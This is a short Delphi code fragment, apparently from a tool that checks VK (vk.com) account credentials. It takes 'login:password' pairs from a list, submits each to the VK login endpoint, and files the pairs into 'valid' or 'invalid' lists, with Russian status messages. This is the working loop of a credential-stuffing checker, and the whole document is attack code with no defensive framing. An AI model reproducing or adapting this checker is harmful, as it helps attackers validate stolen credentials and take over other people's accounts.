begin
if Flag then Break;
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk= ');
s:=Copy(uns,Pos('value=',uns)+7,56);
memo4.lines.add(log + ' Авторизируемся' );
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s) ;
uns := idhttp1.Get('http://vk.com/');
memo1.Lines.Delete(0) ;
memo4.lines.add(log + ' Валидный' );
memo2.lines.add(log + ':' + pass);
except
On E: Exception do begin
memo4.lines.add(log + ' Невалид' );
memo3.lines.add(log + ':' + pass);
memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;
end;